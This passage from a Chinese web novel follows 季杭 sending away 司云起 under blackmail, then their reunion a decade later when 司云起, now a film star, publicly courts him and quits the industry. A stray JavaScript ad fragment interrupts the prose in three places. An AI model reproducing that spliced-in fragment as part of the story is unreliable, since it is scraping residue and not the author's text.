“我想不起来了，”无助和茫然吞噬了他，他抓紧司云起的手，“我不记得了，我想不起来，你表白后我说了什么？我想不起来，你告诉我你是怎么表白的——”
他的声音戛然而止。
另一道响在电流中的声音浮现在脑海：
“季杭，我喜欢你。”
“季杭，不喜欢我也没关系，没关系的。”
“拒绝我并不是一件值得你为难的事情，不喜欢我真的没关系。”
……
他猛地惊醒，怔愣很久后摸了下脸颊，摸到一手心的眼泪。
原来是梦一场。
果然梦与现实是相反的，梦里面都是假的，独独司云起说的表白是真的。
我喜欢你。
分明是那样美好的四个字，可就偏偏他听不得，每回想一次就是把他的心一点点碾碎，是后来的很多年里，无数次对于他感情的审判和凌迟。
他站起身，双腿酸麻。
手机上有丁熙年发来的短信，是个联系号码。
他打了过去。
“过了一晚，你们聊好了没？”丁熙年说，“是我把视频交给媒体，还是你说服司云起回来？”
“回去做什么？”
“拍戏啊，在你那眼睛也好不了，剧组着急呢，他都签过合同拿过钱了，当然要履行合约。”
不等季杭说话，丁熙年说：“资方很看好这部剧，投了很多钱，不能因为他一个人拖着进度。”
“那拍完呢？”季杭说。
“拍完随他，他能接到戏就接，接不到和我也没关系。你以为我叫他回来做什么，参加许阿姨和我爸的婚礼吗，要不是这部剧急，找不到别的合适的替身演员，我都懒得跑这一趟。”
季杭沉默着，没管他还在说话，直接挂了电话。
思忖良久，他不怀疑丁熙年能做出把视频录音扩散出去的事情，实际上在刚刚的通话中他也有录音。
但相比起来，无非是伤敌三百自损一千。
不论是他还是司云起，都没有能力去和庞大的资本抗衡。若是自己真把录音也发到网上，无非就是有些网友批判丁熙年用替身，这些舆论很快就能被压制下去，更遑论可能还会影响到剧组和背后的资本方。
到那时候，司云起更无翻身之地。
他麻木地想，他什么都做不了，也保护不了司云起。
这个认知让他心里更剧烈地疼，在痛苦的浪潮中，他想到了舒木，随之想到了许凡君。
舒木……她帮了司云起很多次，但是在这样的情况下，以及以后无数次的威胁中，舒木能偏向司云起这边吗。
季杭不确定。
但许凡君…
也许许凡君可以……
上次他打了丁熙年，许凡君拉住他时说的话，让他觉得，许凡君并不是对司云起毫无感情。甚至自己打丁熙年的事情就过去了，丁熙年没有拿那件事做文章。
也许许凡君可以呢……
季杭从舒木那要到了许凡君的联系方式，没有任何路能走的他，赌了一把，把司云起要做演员的来由、他和司云起之间的事情全部坦白。
电话那头的许凡君沉默许久，问他：“那你甘心吗？”
季杭愣了一下。
话题兜兜转转总会绕回甘心与遗憾上。
季杭扯起嘴角，却是怎么也笑不出来。他想说他不甘心，但是心甘情愿。也想说他真的遗憾，但是不会后悔。
最后他说：“当情爱与前路冲突的时候，我只希望他得偿所愿，无灾无难。”
许凡君说：“好，我会护好云起，他如果真的很想走这条路，不管是他想，还是为了……他外婆的遗愿，我都不反对。”
听到她的话，季杭终于心安了几分。
“但是季杭，你能保证，再也不见云起吗？”许凡君说，“这孩子固执，怕是会放不下你，还会回去找你。丁熙年这次拍到了视频，不知道下次还会不会去，或者找人跟着云起。我太了解这个圈子了，我想你也明白，对云起想走的路来说，你是个威胁。”
指节紧攥着手机边缘，泛出不正常的白。
季杭尽力拿稳手机，嗓音干涩：“好。”
许凡君说要来接司云起，季杭眼前一片荒芜，拒绝了。
“不用了，我们坐高铁过去，您在高铁站接就好。”
“尽快吧，”许凡君说，“听你说我才知道云起的眼睛受伤，这个拖不得。”
这一尽快，就成了他们相处的最后一天。
那天中午季杭回家，见到司云起坐在客厅。
他恍若什么事情都没发生般，问司云起昨晚睡得好不好。
司云起叫住他：“季杭。”
季杭“嗯”着走进房间，收拾着司云起的衣物。
察觉到司云起想说什么后，他攥紧拳心，打断道：“都过去了，别提了。”
随后他想了想，补充说：“你真的很好，但是性格不合适吧，就像书望说的那样，我更喜欢开朗热情的。”
司云起喉结滚动，没能言语。
他们一动一静，司云起听着季杭穿梭在房间里，最后听到季杭说：“司云起，咱们去个地方吧。”
司云起问：“去哪里？”
季杭反问：“你相信我吗？”
默了几秒，司云起点了下头。
“那咱们走吧，”季杭说。
季杭搀扶着司云起，只随身带了一个包，剩下的行李他会寄走。
似是有意想将离别拉得长些，他们走得很慢，如同蜗牛，慢吞吞地、平静地走在一起，奔赴属于他们的分离。
某个路口，已经慢慢走过的季杭忽地回眸。
司云起随着脚步停住。
季杭对他说：“你等等我。”说完返回路口。
停在路口的三轮车，上面的木板上摆了很多的项链耳钉还有戒指。
季杭仔细看着戒指，从中拿起一个素圈。
老人说：“这个五十。”
季杭好像没听到。
他专心地把戒指套进手指深处，又拿出来，再套进去，如此反复。
老人正要催促，出声的那刻，忽地注意到这个男生眼眶红得厉害。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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于是她改口，说：“挺合适的不？戴在你手上挺好看。”
季杭便笑了起来，声音轻轻颤着：“真的吗。”
“对，”老人说，“你的手好看，戴哪个也好看。”
季杭摘下戒指，放回摊位上，说：“我马上回来，您别说我买了什么。”
老人不明所以，看着他跑到路口另一边，扶过来一个眼睛被纱布罩着的男生。
季杭从包里找出司云起的手机，用他的指纹解锁后，扫码后对司云起说：“买个东西给我，你付钱行不行？”
你付钱，买个戒指给我。
司云起点头，说：“支付密码——”
“不用，”季杭把手机凑到他手边，“用你的指纹就行。”
付完款后，季杭拿起戒指戴进左手中指。
彼时司云起不知道，他身边的季杭，是怀着怎样深切的爱带他一步步走向诀别的。
只因为季杭的一句“你相信我吗”，坐到高铁上后，车厢内响起终点站是北京，他也没有问一句要去做什么。
季杭特意买了一等座，让他坐在靠窗的位置。
路程驶了一大半，到北京之前还有个小站，会停两分钟。广播里播报后，始终没说话的季杭转头看向他，开口道：“司云起。”
“嗯。”
“没事，”季杭给他抚平衣角的褶皱，“就是叫叫你。”
“季杭，”司云起试探着说，“我……”
“别说了，”季杭再次打断了他的话，“都过去了，向前看吧。”
车速减缓，即将到下一站。
手机振动了下，季杭看了眼消息，是许凡君发的，说已经在北京接站口等候了。
季杭目光长久地落在司云起脸上，一眨不眨。
减缓的车速最终稳稳停下，这个车厢没有人下车。
在车厢门要关闭时，季杭说：“我去趟洗手间。”
他起身，离开，一步三回头，终于还是走到了车厢连接处的视线盲区。
……
列车再次疾驰，碾碎了悬在他们之间的不舍和恋慕，将他们的过往撞的支离破碎，无法回头。
许久之后，司云起才迟钝地意识到——
季杭好像不回来了。
他身旁的座位，就这样空了。
他站起身，声音是强装的镇定，问：“你们有看到我身边的人吗？”
坐在他身旁的男生下车前一步三回头，恋恋不舍的样子吸引了好几个人的注意。
有人提醒说：“他下车了。”
“不可能，”司云起找出手机，循着声源跌撞到一个人前，“你帮我找一下微信里，叫季杭的人。”
那人点了几下他的手机，又搜索，摇头道：“没有这个人。”
“不可能，”司云起还是说，声音已经明显颤抖，“你再找助理小季。”
“也没有，”那人说。
“手机号，”司云起说，“麻烦帮我拨这个手机号……”
“通了没？”司云起问。
“通了，没人接，”那人把手机还给司云起，“你自己听。”
司云起握着手机，听着其中传来的忙音，心一点点坠入无底深渊。
赶在自动挂断前，接通了。
司云起说：“季杭，你是不是下车后没能进来，我在北京等你，我们去做什么……”
“司云起，”季杭声音比他的要平静，“别相信我，我不是个值得相信的人。”
“到现在这步挺不好的，”季杭说，“但是就这样吧，认识一场也是我们有缘，我也真的没精力和心思面对你的喜欢，也觉得别扭。所以你去拍你的戏，我过好我的生活，咱们谁都别打扰谁。”
“司云起，真的就这样吧，别再打扰我了，我不会喜欢你，咱们也做不成朋友了。”
司云起静静地听着他的话，手机久久放在耳边。
其实季杭说完后就挂断了，只有他被留在了这场突然发生的分离中。
列车承载着很多的期待，带着不同的人，或奔赴梦想，或驶向圆满。唯独带他远离了他年少时期的爱人。
于别人许是重逢，于他而言，那是一场漫长的分离。
以至于侵蚀了他往后的十年，每每看到中途许多站点的车时，他都会想起那个提前下车的人。
没能和那个人一起到终点站，是他特别、特别遗憾的事情。
……
那趟列车到站后，所有人都下车了，乘务员去扶司云起时，看到旁边的二等座车厢里有个男生，安静地注视着这边。
她每扶着司云起走一步，男生就跟一步。
下车后她去找来接应的人，回头看了几眼，始终能看到那个男生。
有点奇怪，那个男生看起来，好像很难过。
找到接应的人后，她转身，只看到消匿在熙攘人群中的一个背影，从此再也不见。
91.十年
那天。
/
望望山山水水，人去去，隐隐迢迢。
/
季杭去到司云起的房间，其实大部分东西都已经打包好寄走了，剩下的是些杂物。
小到挂钩，大到拖把……
曾经他费心思试图用这些琐碎的东西留下司云起，现在送司云起离开的，却也是他。
曹书望打来一个电话，让季杭带着司云起去他家吃饭。
季杭声音很哑，像是哭过很久，也像是依旧压抑着情绪，回答说：“不了。”
“你干嘛呢？”曹书望皱眉。
季杭说：“收拾杂物。”
“杂物？”曹书望重复了遍，“好吧。”
说是收拾杂物，和司云起相关的，季杭一件也没舍得扔。
他规整得更干净了，除了少了些衣物，房间里住过人的痕迹都还在。
最后他整理到书架，看到一堆书里夹着两本一样的数学选修，其中有本是自己的。
他把司云起的书放回去，拿着自己的书到客厅，准备卖了。
丢在一旁时，书页缓缓掀开，夹在里面的纸坠落在地。
大片空白的纸上，写着不起眼、歪歪扭扭的四个字：
我喜欢你。
司云起的笔锋向来锐利，换成左手写也未能减弱，每道笔画都宛如匕首，直直地戳进季杭的心窝。
季杭分辨不出这四个字到底是带给他开心多一些，还是难过多一些。
混沌复杂的情绪不断冲击着他的意识，他坐在地上，纸被紧攥在指尖里。
直到曹书望来，看到他失魂的模样，蹲下身问：“季杭，你怎么了？司云起人呢？”
季杭怔怔抬眼，眸中一片死寂，“我把他赶走了，书望，他…不会再回来了。”
……
如同这次一般，后来偶有人问起司云起，季杭大多笑笑，并不做声。
可总也有人朝他问司云起，同学问、邻居问、到了医院，季满谦也问。
送所爱之人离开，违心否认喜欢的痛苦便不能只存在于安静的时候，还常常在他忙碌时，冷不丁听人提起，又泛起一阵漫长细密的疼。
季满谦提过几次，季杭不想让他担心，次次都含混过去。
可季满谦不好糊弄，追问他司云起到底怎么了。
季杭挑着能说的简单说了一些，听到季满谦的叹息：“哎，多好个孩子啊，这意思是咱们再也不能见他了吗。”
“嗯，”季杭应着。
“是不是有点小题大做了，小杭，云起他要当演员也不代表要和别人切断联系啊。”季满谦说，“要不你们再聊聊？”
季杭给他按摩腿的动作停了下，看向他。
季满谦解释说：“我一想到再也不能和云起见面，就觉得可惜，你不觉得吗。”
季杭移开目光，继续着按摩的动作。
可惜么。
在不断冲突季杭心脏的所有情绪里，可惜是最不值一提的了。
寂静在他们之间流转许久，季杭头次说了不计后果的真心话。
他说：“爸，我没觉得多么可惜，只是，我这一生都没办法和我喜欢的人在一起了。”
自此。
/
从今后，酸酸楚楚，只似今宵。
/
季杭去爬山，留下了两个缠绕在铁链上很多圈的许愿牌。
上面被他刻出痕迹又用笔描绘，一笔一划写着他最虔诚的祝愿。
祝季满谦身体健康，长命百岁。
祝司云起，眼睛快好起来，永远不受伤。
也许不灵。但许愿牌随着夜幕隐匿，伴着清晨亮起，跟着长风晃动，每每轻晃，都是一场新的祝愿。
回去后他收到了成芜拿来的六十万，说是成馥他们给的，让季杭用。
季满谦的病拖不得，季杭收下了。
司云起眼睛好后，回到剧组继续履行合同，他依旧会受很多伤，也依然很缺钱。
他没有接受许凡君的帮助，也并不怨恨她。只是在他本就寡淡的成长岁月里，母亲的角色没有出现过，他没办法把一个还陌生的人安放在这个位置上。
许凡君有她自己的人生，想做的事，想嫁给谁，都是她自己的决定，不必为了一个十几年没见的儿子去改变什么。
司云起很平静地和许凡君告别，承诺永远不会干扰她的人生，也不会成为她年少时不懂事的污点。
他真心期望许凡君在她的领域中，光芒万丈，越来越好。
他做着丁熙年的替身，将所有打戏演到极致。孤身一人，他没接到别的戏，金钱紧缺的他和丁熙年签下合同，自愿做丁熙年的替身演员，不接戏。
合同时长，五年。
五年的替身费用，60万，一次性支付。
附加条件，司云起签进丁宇辉背后控股的公司，合约十年。
拿到钱后，司云起和成芜见了面。
……
十年慢而长，温和残忍地在人世间留下痕迹。
有人长大，有人变老，有人从未分开，有人走散后再没重逢。
炙热的夏天落下帷幕，后来常有人提起，往后这些年，再没遇上过如那个夏天般的温度。
“那年真的是太热了，”幸福里楼下的商店门口，围坐着头发愈发斑白的老人们，声音苍老。
“是啊，估计也不会再也那么热的夏天了……”
如同那个夏天永不再来般，季杭和司云起的少年时期仓促中断，被推着走进各自人生。
时间一长，能改变的太多了。
身边有人离开，伤痕慢慢淡去。
留在季杭身边的朋友少了又少，也因着他的性格越来越寡淡，最后只剩了一个曹书望。
还有他走到哪带到哪的一页纸，一枚素戒。
守着这些，走了十年。
……
司云起踽踽独行，当了很久的替身。丁熙年退圈很早，合约依旧生效，
时间过后，有个契机，他见到了导演曲伯之。
曲伯之筹备着电影《无雁》，是一部准备冲奖的文艺片。
主角苍峦天生眼疾，视物不清。从小陪伴他的奶奶去世之时，和他一起救下受伤掉队的大雁。
他们护了大雁一个寒冬，奶奶也留在了那个冬天。来年春天雁群重回，大雁飞翔上天。
苍峦看不清大雁的踪迹，只能听到它越来越远。
就当他以为这是场告别之际，空中传来雁鸣，翅膀挥舞声愈发接近。
大雁又回来了。
在那之后，每年冬天大雁会随着气候迁徙，来年春天再回来，准确无误地找到无垠海边的旧屋。
直到一场海啸，苍峦的家被卷进大海。他死里逃生后被人救起，在离海岸十几公里的镇上，拉二胡街头演奏。
有人听了他的乐，要给他钱，他不要，只请那人带他去海边。
别人问他做什么，他说，去寻我的雁。
十几公里，挺远的路程，没人有那么多的闲工夫。
但总也有人会陪着他走上一趟。
是中年女人，是活泼学生，是开着三轮车的老人。
他们带着苍峦去的地方不一，始终没能找到他原本家的位置。
寻雁的人和寻人的雁屡屡错过。
走的次数多了，苍峦也能自己摸索到海边了。
有人见到他，会喊上一嘴，“苍峦，你找到你的雁了没？”
苍峦说：“还没有。”
冬去春来，周而复始，人们都觉得他找不到。
影片最后，苍峦坐在海边拉二胡，背影孤傲，乐曲悠长。雁群飞过之际，一只大雁脱离队伍，直直俯身向岸边的人。
雁鸣和着二胡，海浪拍打在岸边。
苍峦站起身，有只大雁在他头顶盘旋。
镇子里的小孩结伴来玩，见到此幕，边跑回去边喊：“拉二胡的哥哥找到他的雁了！”
……
司云起曾问过曲伯之，连他的简历也没看，怎么就一眼相中了他。
曲伯之想说因为他好像见过这小子瞎眼的模样，孤零零地站在屋子里，落寞的气质和他想象中苍峦寻雁一模一样。
顿了顿，曲伯之为了简省字数，说：“没，试试吧。”
电影无雁是那年最强势的黑马，司云起一举成为影帝。
他身边的朋友越来越多，却依旧是从前的性子。
人们都说他冷得很。几个很好的朋友提起时，司云起会带着淡漠的表情和冰冷的声音问他们：“该怎么热情呢？”
如果变成季杭喜欢的性格，那他能回到季杭身边吗。
恍恍惚惚，一隔九年。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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司云起从往年剧组里所有人都能吼的替身演员，成了娱乐圈的顶流和资本。
某次红毯后，李达看着手机骂爹，说黑粉又在无风起浪。
这是常事，司云起不在意。
李达收起手机时，提了句：“这些年幸好有他的存在，反黑的路上借我瓶水真的是一马当先啊！”
司云起没听太清楚，问李达：“谁一马当先？”
李达说：“给你反黑的营销号！”
“叫什么？”
“借我瓶水。”
……
“借我瓶水，晚点还你钱。”
存在于记忆深处的一句话掀起大浪，司云起几乎是夺过李达的手机，急迫地翻看着借我瓶水的微博。
李达不知道那晚司云起为什么会情绪失控，这些年里委屈和打压不在少数，司云起始终平静应对，唯独这次。
他甚至看到司云起点着手机屏幕的指尖在颤抖。
那晚司云起推了晚宴，一个人驱车离开，李达急疯了，哪也找不到人，最后准备去医院旁试试运气，果然找到了。
不久后，李达频频和乔炎的助理联系，筹备一档综艺。
纳闷之余，李达问过司云起：“老板，你推过那么多综艺，我还以为你不喜欢呢，结果你自己投资了一部，是帮乔哥吗？”
司云起道：“不是。”
“那为啥，”李达不解，“你想上综艺？”
司云起没回答，问他筹备工作怎么样，李达说可以配置执行方案了，就是随队医生还没进展。
司云起说不着急，等年底。
李达看了司云起一眼，又拿起平板。他能听出来，司云起说不着急，语气里却不像不着急的样子。
商人重利，投资看市场反馈，到司云起这儿，却没做任何调研，匆忙筹备一部综艺，内容策划的前提只有一句：
“拍摄中请随队医生，请的理由要合理。”
乔炎团队匆匆筹备，为了让请随队医生的理由合理，录制内容否了很多个，最终拍板，真实体验不同的人生，便有了《站在不同的门口》。
光看阵容来说，综艺话题度低不了，但李达还是觉得司云起草率，也觉得他矛盾。
这么着急筹备综艺，就为了能合理请医生跟组，结果都准备好了，司云起又说医生先不着急，要等到年底。
李达理解不了，因为他没有见过司云起的十年。
被单方面隔断联系，表白被拒绝，被季杭厌恶……
他每每想去找季杭时，总会想到季满谦说的季杭不喜欢被人强迫与安排，又会想到季杭送他离开时的决绝。
他太爱季杭了，爱到想前进，爱到要后退。
可他突然得知借我瓶水为他反黑了这么多年，犹如渴了很久的人终于寻到一滴水。
他第一次觉得，也许自己以为的有所偏颇。
也许……
季杭没那么讨厌他。
人总是不知满足，得到一滴水后渴求更多。
于是他投资立项，对于乔炎的安排不干涉丝毫，唯独一点——
配备随队医生。随队医生从二院去选。
至于医生到底是谁，他会做出干预。
……
有人说，人们体内的所有细胞大概每七年就会全部更换一次。
也许换了，但司云起没感觉到。
因为他一如最初，深爱季杭。
这次他想试一试，隔了十年之久，季杭曾经对他的厌恶是不是减轻了很多。
如果他拥有季杭喜欢的性格，能不能也得到季杭的一点点爱。
……
这世间的人们走散就是真的走散了。
走散的人走不回一条路上，不会重逢。
所有重逢，都是有人蹚过带刺的河，怀着热切的爱逆流而上，再一次将心送给所爱之人，
说上一句：“我们重来，你再试一次，这次能不能爱上我。”
——
——
此时司云起注视着他爱了十年的人，放出最后一个底牌。
而后他问：“季杭，给我反黑这些年，累不累。”
季杭怔然，嘴唇动了又动，还是无声。
“是不是已经没以前讨厌我了，”司云起走向季杭，温声询问，“那过了这么久，能爱我一点吗。”
92.自荐
“不能，”季杭下意识摇头。
不能爱和不爱是有区别的。
在综艺里时，司云起哄着背上的人，也小心翼翼地问过这个问题。
那会儿季杭累极了，司云起没得到答案。
其实这也算不上什么问题，不过是被爱一方的拒绝。紧追不舍地咬文嚼字，只会让对方更想迅速抽离。
可重逢以来，司云起时常有种被爱的错觉。
这种错觉和十年前季杭送他离开时的情景交替出现，他分不清，也不敢确定。
缥缈微妙的感觉似有若无，在他很多年的记忆里，季杭是不喜欢他的，不喜欢到，从他表白后，当晚没有回家，隔天就送他离开了。
让他在这样的记忆里意识到季杭可能喜欢他是几近不可能的事，可……
又有另一种不知从何而起的念头牵引着他，如果他不追问，好像就会从此失去什么了。
所以他凝视着季杭的眼睛，嗓音压得很轻，“季杭，是不能爱，不是不爱，对么。”
季杭哑然。
他越是不说话，越是在犹豫，司云起就越发能确定他的答案。
这还是他们相识的十年里，唯一一次季杭不回答，司云起却不慌张的。
“不想答就不答了，”司云起商量着问，“那我能追你么？”
季杭别开目光，强压着胸口的那股难吁之气，“司云起，你还没有醒酒吗，我昨晚已经说得很明白了，我不会接受你，我也不喜欢你。”
说完后，季杭觉得他的心好像没那么疼了，只有多次重复反话后的酸麻。
却不料，这次，司云起并没有他预想中的反应。
司云起只是很平静地点了点头，“意思是能追么。”
季杭：“……”
司云起又补充了句：“你可以一直拒绝我。”
“司云起，”季杭问，“你这样除了浪费时间，还有什么意义吗。”
“可是季杭，”司云起看着他，“对我来说，和你有关的事都不是浪费时间。”
季杭沉默着与他对视，狠心的话总是难说出口，但目光不肯示弱半分，又是一场无声地拒绝。
最终司云起败下阵，从他家离开。
临走时，司云起忽地想到了什么，站在门框处，转身说：“这段时间一直没有和借我瓶水互动过，是怕你误会我滥情。现在我可以坦然互动了，因为我只喜欢你。”
季杭：“……互动、”
互动什么？
房门被司云起妥帖关好，季杭愣了下，打开手机微博。
未读消息和粉丝增长太多，他搜索司云起的主页点进去，看到右下角的四个字——
互相关注。
这会儿司云起应该刚下电梯，季杭有点想追上去。
事实证明网络的速度快于等待电梯的速度。
季杭站在电梯口，刷新微博后，看到#司云起回关借我瓶水#已经上热门了。
电梯又升了回来。
季杭已经不想下去了。
他还下去做什么，让司云起的热搜变成#司云起取关##司云起手滑#吗。
算了，这俩词条都算不上多么好。
但季杭还是判断错了。
占了好几个热搜位是能预料到的，不过占居榜首的那个——
为什么是两个影子？
此刻两个影子粉也挺懵的，对家过节，为什么把她们顶上去祭天？
不过刚在【我的素人朋友】综艺里吃得饱饱，她们很大度地谅解了今我来司粉。
毕竟是一群没吃过好饭的臆想症，司云起只是礼貌回关借我瓶水而已，有什么大惊小怪的。
网络上分为三个阵营——
司云起唯粉、今我来司粉、两个影子粉。
今我来司和两个影子互掐，唯粉平等辱骂两对cp粉。
严格来说，除了这个大战场，还有块是非之地——
【争夺借我瓶水】超话。
它的存在一直被借我瓶水本人淡忘，是内娱很多家粉丝自发创立的超话，里面全是粉丝安利自家正主的帅照和视频。
沉寂了一段时间，随着司云起回关借我瓶水的热搜，里面又热闹起来了。
【借我瓶水你清醒一点，你在司云起家里会吃尽裤头的！你看他家的粉丝，他们不欢迎你！还是我家好，水水看我哥哥！[图片][图片]】
评论区：
[第一，是吃尽苦头。第二，借我瓶水看我哥看我哥，别看他家，他家离过婚。]
[离过婚咋了，二婚会疼人。]
【及时止损啊水水宝宝，你给司云起反黑这么多年，他竟然才关注你！我家就不一样了，我家糊，我艾特我哥来接你[飞吻]。】
评论区：
[都让开，我要说烂梗了。水水宝宝来我家，我家哥哥很火的，糊的起开，毕竟爱过狮子的人，怎么看得上泰迪。]
[水水宝宝都别去，楼主家和首评家锁死，99。]
[99]
[99]
[99]
[首评：……9你爹。]
恢复热闹，众多新帖子出现的超话，在中午时分，迎来了它唯一不欢迎的人。
此人先是点了右下角的关注，划动页面翻看了几眼别家粉丝推荐她们正主的贴，眸色暗了又暗。
他指尖点到左下角的“我来发一贴”，配上一张自己的照片，简短打字后，盯着手机屏幕的时间，时间一到，发送。
众多粉丝家边吵边闹之际，刷出来个……陌生又熟悉的号。
这个号实在太过于仿真。
文案也怪神经的。
【@司云起：自荐。@借我瓶水
[图片]】
正在战斗中的粉丝们一窝蜂回应他。
[荐啥荐，争的就是你家的你还荐，这是你该来地地儿吗。]
[等下，等下等下等下，你们有人看看他的主页吗？司云起大粉的话，粉丝量有五千万，这正常吗？]
[？]
[？？]
[？？？]
一转眼的功夫，争夺借我瓶水超话就崩了。
闻讯而去的各家粉丝只能从流传出去的截图中看到超话崩坍的来源。
司云起……
司云起大号，回关借我瓶水后，又在【争夺借我瓶水】超话里发帖，艾特借我瓶水自荐。
发帖的时间，卡的死死的。
中午12:58。
热搜位上瞬间多了两条，又在短时间内双双红“爆”。
#司云起自荐#
#司云起疯了#
司云起唯粉：“疯了……”
两个影子粉：“疯了……”
今我来司粉：“……疯了”
争夺借我瓶水超话各家粉：“疯了……崩了……”
司云起接到乔炎的电话。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“兄弟，你这也太急了吧，声明什么时候发？都安排好了没。”乔炎问。
司云起还没接腔，下一秒依依姐的又弹出来，李达在短信轰炸他，邓承和潘同见他电话接不了，发来微信，说他牛逼。
都没顾上回，有个陌生号码打了过来。
司云起垂眸扫了一眼，迅速接起。
“司云起，”季杭的声音响在耳边，“你是不是疯了！”
司云起缓声：“没。”
季杭看到热搜时心都顾不上跳了，只有脑门的某处砰砰跳着。
“你、”季杭蹙眉，电话那边传来车门关闭的闷声，“你先开车吧。”
“不用，”司云起下车，抬眼看着楼上，说：“给你买了饭，我能送上去么，送完我就走。”
那头默了几秒，随后传来脚步声。
季杭给他开了单元门，说：“进来吧。”
司云起挑眉，拎着菜的手稍往上抬，“我说错了，是买了菜，能上去给你做饭么，做完我就走。”
“司云起，”季杭盯着他，“你知道发那条微博的后果吗。”
“你会怎么样，”司云起问。
季杭蹙眉更甚，“不是我会怎么样，是你会怎么样！”
“我能承担，”司云起说。
季杭不理解，“我永远不可能接受你，你做这一切都改变不了我，只会给你带去麻烦，值得吗。”
司云起语气很坦然：“值得。”
季杭和他说不通，也不可能让他进自己家。
“你走吧，”季杭挡在司云起身前，“我不想吃你做的饭，也不想和你待在一起。”
司云起“哦”了一声，低头从装菜的袋里拿出一份粥，递给季杭：“猜到了你没心情吃饭，好歹喝碗粥。”
季杭没接。
司云起想碰他的手，顿了顿，将粥又放回袋子里，弯腰放在季杭脚边，说：“我这就走。”
看着他离开的背影，季杭心口闷滞。
司云起越是不在意他的冷言冷语，他就越难狠下心。
他想不好怎么应对现在的局面。
十年前他能为了司云起不确定的未来果断放手，现如今更不可能成为司云起的任何隐患。
他想让司云起被掌声簇拥，被光芒照耀。
他可以成为鼓掌中的一员，但一定要避开光，躲着光。
却没想到，司云起连避开光的机会都没有给他。
当天晚上，成芜连发了几十条微信给季杭，曹书望的振动也不断。
季杭拿起手机时已经过了很久，他还没点开这些消息，先被各大软件弹送的新闻占据了目光。
看清楚的刹那，他脑子一片空白，手指不受控制地抖，半天点不开新闻。
万千思绪争先恐后霸占着他的意识，在新闻弹开时，倏地消失不见。
他怔怔站立，全部思维跟随着眼睛，落在屏幕上，一字一字，串联成——
【@司云起：
承蒙厚爱，十年内于各位朋友无亏欠，于合作剧组无争端，于同事公司无纠葛。
一生不过几个十年，这次我想遵从本心。
今日退出娱乐圈，无牵无绊，唯独不舍各位朋友。
感谢你们十年间的陪伴，付出和厚爱铭记于心，终生不忘。
人生何处不相逢，祝愿你们在各自的人生道路上自由尽兴，平安顺遂。
祝你们都能得偿所愿。】
93.人设
就……
有点快。
今我来司cp粉见到司云起的自荐博本该是磕生磕死的，但是争夺借我瓶水超话已经崩了，她们没能去现场围观。
两个影子cp粉少见地和司云起唯粉站在一条战线上，痛斥司云起。
争夺借我瓶水超话里的各家闲暇之余的老家就这么被端了，气愤中不忘切小号摸到司云起的微博，打算悄悄网暴他。
不过微博虽然没崩，但时不时卡一会儿，导致这几批人的进度，都没进展多少。
没多久，司云起又发了条微博。
没看清内容的时候，她们全都以为是道歉博、手滑博、被盗号博。
看清内容后，微博彻底崩了。
她们只好涌进别的软件，试图从图文和视频中擦擦眼睛再看一遍。
看了无数遍，内容还是一样的——
退圈博！
司云起要退出娱乐圈！
修复好后，微博上的骂声变成了铺天盖地的补药啊，司云起的微博评论区沦陷。
季杭看到消息时，已经过去了两个小时。
不论是点进什么软件都畅通无阻，开屏的新闻都是司云起退圈。
他被迫把这条消息看了一遍又一遍。
也许是思绪太混乱了，他迟钝了很久，才从司云起微博的几行字中，看懂“一生不过几个十年，这次我想遵从本心”的另一层意思——
“我只有一个一生，迄今所有都无愧于心，唯独没有花时间在我爱的人身上过。
这十年，我爱他，未来的几个十年，我也只会爱他。
爱人总得带着诚意，我不会叫他来到我的世界里，因为爱是互为支撑，不是改变对方原本平静的生活。
我不是大明星司云起，也不是影帝司云起，脱去大众给我的光环，我只想以“司云起”的身份，如同十年前的我那般，走进我爱的人生活里。”
删减精缩，司云起用一句话寥寥带过。
又是在告诉季杭，退圈是我遵从自己的意愿，和你没有关系，你不需要往自己身上扛责任。
所以不论是曹书望还是成芜，他们的语音条和消息中，没有一条内容是“司云起为了你退圈”。
可越是这样，季杭心就越疼。
兴许除了他，这个世界上再没有任何一个人能看懂。
也除了他，这个世界上再没有任何一个人知道，其实他们很相爱。
这十年里，他们真的很相爱。
愣神中，季满谦的电话打了过来。
“小杭，我刚看到新闻，云起他……”
季满谦犹豫片刻后，斟酌着说：“这十年里一直也没问过你感情的事儿。那会儿在医院里，你说你这一生都没办法和喜欢的人在一起，我虽然震惊，但更多的还是心疼。这些年你在我面前总是表现很开心，但我知道不是那么回事儿。”
季杭静静听着。
“小杭，要实在是喜欢，就去吧，你也只有一个一生。”
季杭点着头，说：“好。”
“我对你没有任何要求，只期盼着你能真真正正的开心。小杭，你开心就好，你想喜欢谁，想和谁在一起，我都支持你。”
“谢谢爸，”季杭喉间哽塞得更厉害，缓了几秒后，重复道：“谢谢爸。”
季满谦挂了电话。
不知道为什么，明明季杭也还没有和司云起在一起，可压在他心里十年的重石终于卸了下来。
曹书望大力拍着季杭家的门，边拍边喊：“季杭快开门，快快快！”
季杭走去打开门，迎面砸来一句曹书望的吼声：“司云起退圈了！你看到没！”
“看到了，”季杭说。
“来来来，”曹书望把门关好，自己去倒了杯水，喝了几口后问：“你怎么想的？”
季杭没说话。
曹书望盯着他看了几秒，皱眉道：“你看到退圈声明，没有想第一时间给司云起打电话，承认你喜欢了他十年吗？”
“没有，”季杭说。
“为什么！”对于季杭的反应和表现，曹书望理解不了一点，“你们之间耽误了这么多年，他现在退圈了，你还浪费什么时间啊！”
见季杭没说话，曹书望安静了几秒，转身给他也倒了杯水递过去，音量低了些，问：“季杭，你是不是看到消息太震惊还没反应过来？”
季杭接过水，摇了摇头。
“我真的不想看到你们两个再浪费时间了，一生能有几个十年啊，你们就这样错过了，你明明喜欢他，他也喜欢你，现在他退圈了，虽然刚退圈关注度肯定少不了，但起码你不用再担心威胁他的事业工作了吧，为什么不能赶紧去找他，承认你喜欢他这些年呢。”
“书望，”季杭目光很柔和，里面还有曹书望看不懂的情绪，“十年真的太长了。”
若是一二年，兴许能过去。
五六年，好像时间紧紧凑凑，还能补偿给彼此。
但十年真的好长，遑论他们常常会以此为一个节点，忽略掉其实这已经是第十一个年头了。
他们的故事在少年期仓皇结束，交付的喜欢以狼狈结尾，自那之后，再没相见过。
再相见，站在成长起端茫然前路的少年已不见踪影，新的一轮十年开始，现在的他们走在各自的人生路上，轨迹成型且稳固。
“他退圈，我就马上去表白，”季杭扯了下嘴角，“当然好，我巴不得不再浪费任何一秒。可是书望，那我挣扎的十年，司云起爱而不得的十年，重逢后我的反复拒绝和远离，到底算什么呢。”
季杭自嘲道：“我坦白了我的十年，那他呢。”
